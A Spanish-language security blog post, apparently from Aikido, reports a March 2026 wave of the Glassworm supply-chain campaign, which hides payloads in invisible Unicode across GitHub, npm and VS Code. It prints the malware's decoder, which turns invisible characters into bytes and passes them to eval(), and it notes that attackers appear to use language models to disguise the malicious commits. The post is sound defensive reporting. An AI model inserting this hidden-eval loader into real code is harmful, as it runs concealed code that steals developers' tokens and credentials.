La amenaza invisible que llevamos rastreando desde hace casi un año ha vuelto. Mientras que la campaña PolinRider ha acaparado los titulares por haber comprometido cientos de repositorios de GitHub, estamos observando, por otra parte, una nueva oleada de actividad de Glassworm que afecta a GitHub, npm y VS Code.
En octubre del año pasado, escribimos sobre cómo se estaban utilizando caracteres Unicode ocultos para comprometer repositorios de GitHub, y rastreamos el origen de esta técnica hasta un actor malicioso llamado Glassworm. Este mes, ese mismo actor ha vuelto, y entre los repositorios afectados se encuentran algunos nombres destacados: un repositorio de Wasmer, Reworm y opencode-bench de anomalyco, la organización responsable de OpenCode y SST.
Campaña «Un año del código invisible»
- Marzo de 2025: Aikido descubre por primera vez paquetes npm maliciosos que ocultan cargas útiles utilizando caracteres Unicode de PUA
- Mayo de 2025: Publicamos un artículo en el blog en el que se detallan los riesgos del Unicode invisible y cómo puede utilizarse de forma maliciosa en ataques a la cadena de suministro
- 17 de octubre de 2025: Descubrimos extensiones comprometidas en Open VSX utilizando la misma técnica
- 31 de octubre de 2025: Descubrimos que los atacantes han centrado ahora sus esfuerzos en los repositorios de GitHub
- Marzo de 2026: surge una nueva oleada masiva: cientos de repositorios de GitHub se ven comprometidos, y npm y VS Code también se ven afectados.
Un repaso rápido
Antes de profundizar en la magnitud de esta nueva oleada, repasemos cómo funciona este ataque. A pesar de los meses de cobertura mediática, sigue pillando por sorpresa a los desarrolladores y a las herramientas.
El truco se basa en caracteres Unicode invisibles: fragmentos de código que no se muestran en prácticamente ningún editor, terminal o interfaz de revisión de código. Los atacantes utilizan estos caracteres invisibles para codificar una carga útil directamente dentro de lo que parece ser una cadena vacía. Cuando el entorno de ejecución de JavaScript la detecta, un pequeño decodificador extrae los bytes reales y los pasa a eval().
Así es como se ve la inserción. Recuerda que el espacio aparente que hay entre las comillas invertidas vacías que aparecen a continuación no está en absoluto vacío:
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));La cadena entre comillas invertidas pasada a s() Parece vacío en cualquier visor, pero está repleto de caracteres invisibles que, una vez descodificados, generan una carga maliciosa completa. En incidentes anteriores, esa carga descodificada descargaba y ejecutaba un script de segunda fase utilizando Solana como canal de distribución, capaz de robar tokens, credenciales y secretos.
La magnitud de la ola de marzo de 2026
Estamos observando una campaña masiva del actor malicioso Glassworm que se está extendiendo por los repositorios de código abierto. Una búsqueda en GitHub del patrón del decodificador arroja actualmente al menos 151 repositorios coincidentes, y esa cifra subestima el alcance real, ya que muchos de los repositorios afectados ya habían sido eliminados en el momento de redactar este artículo. Las intrusiones en GitHub parecen haber tenido lugar entre el 3 y el 9 de marzo.
La campaña también se ha extendido más allá de GitHub. Ahora estamos viendo cómo se aplica la misma técnica en npm y en el marketplace de VS Code, lo que sugiere que Glassworm está llevando a cabo una ofensiva coordinada que abarca varios ecosistemas. Esto concuerda con el patrón habitual del grupo de alternar entre distintos registros.
Repositorios destacados que han sufrido ataques en GitHub
Entre los repositorios que hemos identificado, varios pertenecen a proyectos muy conocidos con un número significativo de estrellas, lo que los convierte en objetivos de gran valor para generar un impacto en la cadena de suministro posterior:
Camuflaje asistido por IA
Como señalamos en nuestro artículo de octubre, las inyecciones maliciosas no llegan en revisiones que resulten claramente sospechosas. Los cambios que las rodean son realistas: ajustes en la documentación, actualizaciones de versión, pequeñas refactorizaciones y correcciones de errores que se ajustan al estilo de cada proyecto de destino.
Este grado de personalización específica para cada proyecto apunta claramente a que los atacantes están utilizando modelos de lenguaje a gran escala para generar cambios de código de cobertura convincentes. A la escala que estamos observando actualmente, la elaboración manual de más de 151 cambios de código a medida en diferentes bases de código simplemente no es viable.
Detección y protección
Las amenazas invisibles requieren defensas activas. No se puede confiar en la revisión visual del código ni en los análisis sintácticos estándar para detectar lo que no se ve. En Aikido, hemos integrado la detección de la inyección invisible de Unicode directamente en nuestro proceso de análisis de malware.
Si ya utilizas Aikido, estos paquetes aparecerían en tu feed como un hallazgo crítico 100/100.
¿Aún no estás en Aikido? Crea una cuenta gratuita y vincula tus repositorios. El plan gratuito incluye nuestra cobertura de detección de malware (no se requiere tarjeta de crédito).
Por fin, una herramienta capaz de detener el malware de la cadena de suministro en tiempo real, en cuanto aparece, puede evitar una infección grave. Esta es la idea en la que se basa Aikido Safe Chain, una herramienta gratuita y de código abierto que se integra con npm, npx, yarn, pnpm y pnpx, y que utiliza tanto inteligencia artificial como investigadores humanos especializados en malware para detectar y bloquear los riesgos más recientes de la cadena de suministro antes de que entren en tu entorno.
{{cta}}
